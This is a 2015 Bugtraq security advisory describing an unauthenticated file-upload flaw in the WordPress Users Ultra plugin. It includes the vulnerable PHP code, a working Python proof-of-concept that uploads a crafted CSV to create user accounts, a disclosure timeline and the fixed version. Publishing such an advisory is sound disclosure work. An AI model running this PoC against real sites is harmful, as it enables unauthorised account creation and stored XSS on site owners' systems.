bugtraq - WordPress Users Ultra Plugin [Unrestricted File Upload]

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Message-Id: <201511171743.tAHHhMwm022947@sf01web3.securityfocus.com>
Date: Tue, 17 Nov 2015 17:43:22 GMT
From: pan.vagenas@...il.com
To: bugtraq@...urityfocus.com
Subject: WordPress Users Ultra Plugin [Unrestricted File Upload]

* Exploit Title: WordPress Users Ultra Plugin [Unrestricted File Upload]
* Discovery Date: 2015/10/27
* Public Disclosure Date: 2015/12/01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://usersultra.com
* Software Link: https://wordpress.org/plugins/users-ultra/
* Version: 1.5.50
* Tested on: WordPress 4.3.1
* Category: webapps

Description
================================================================================

WordPress plugin `Users Ultra Plugin` suffers for an unrestricted file upload vulnerability.

Any user (registered or not) can exploit a misbehavior of the plugin in order to upload csv files to the infected website. Although the plugin checks file extension using an extensions white-list (in this case only csv files are white-listed), no other checks (mime, size etc) are taking place. This alone can expose the infected website to a variety of attacks, please see [OWASP Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload) to get an idea.

Details
================================================================================

The plugin workflow that could allow a malicious user to exploit this misbehavior is as follows:

1. Upon initialization of the plugin (anytime if it is activated) an instance of `XooUserUser` class is created
2. In the constructor of `XooUserUser` class a check for POST variable `uultra-form-cvs-form-conf` is taking place
    file `wp-content/plugins/users-ultra/xooclasses/xoo.userultra.user.php` lines 19-23
    ```php
    if (isset($_POST['uultra-form-cvs-form-conf'])) 
    {
	    /* Let's Update the Profile */
	    $this->process_cvs($_FILES);				
    }
    ```
3. Assuming the POST variable `uultra-form-cvs-form-conf` has been set in the request, the method `XooUserUser::process_cvs()` is called.
4. `XooUserUser::process_cvs()` method process every file in $_FILES super-global by only making a check if the file has a `csv` extension

In addition we mark the following points:

1. A malicious user can create and activate user accounts by exploiting this vulnerability if `$_POST["uultra-activate-account"]` is set to `active`
2. A welcome email is send if `$_POST["uultra-send-welcome-email"]` is set to 1
3. The csv files uploaded to the server are stored in a directory (`wp-content/usersultramedia/import` by default) accessible by anyone
4. Any additional columns present in the csv file are stored in `usermeta`
5. No sanitization for values in csv file can easily lead to a Persistent XSS attack, so an attacker can compromise the whole site

PoC
================================================================================

The following Python3 script forms a csv file and uploads it to a site

```python3
#!/usr/bin/python3
import requests
import csv
import tempfile

url = 'http://example.com/'

postData = {
    'uultra-form-cvs-form-conf': 1,
    'uultra-send-welcome-email': 1,
    'uultra-activate-account': 'pending'
}

csvFileHeader = ['user name', 'email', 'display name', 'registration date', 'first name', 'last name', 'age', 'country']
csvFileRow = ['userName', 'email@...mple.com', 'User Name', '1/1/1', 'User', 'Name', '100', 'IO']

csvFile = tempfile.NamedTemporaryFile(mode='a+t', suffix='.csv')

wr = csv.writer(csvFile, quoting=csv.QUOTE_ALL, delimiter=',')

wr.writerow(csvFileHeader)
wr.writerow(csvFileRow)

csvFile.seek(0)

files = {'file.csv': csvFile}

r = requests.post(url, data=postData, files=files)

exit(0)
```

Timeline
================================================================================

2015/10/29 - Vendor notified via email
2015/11/11 - Vendor notified via contact form in his website
2015/11/13 - Vendor notified via support forums at wordpress.org
2015/11/14 - Vendor responded and received report through email
2015/11/15 - Vendor responded
2015/11/15 - Patch released

Solution
================================================================================

Update to version 1.5.59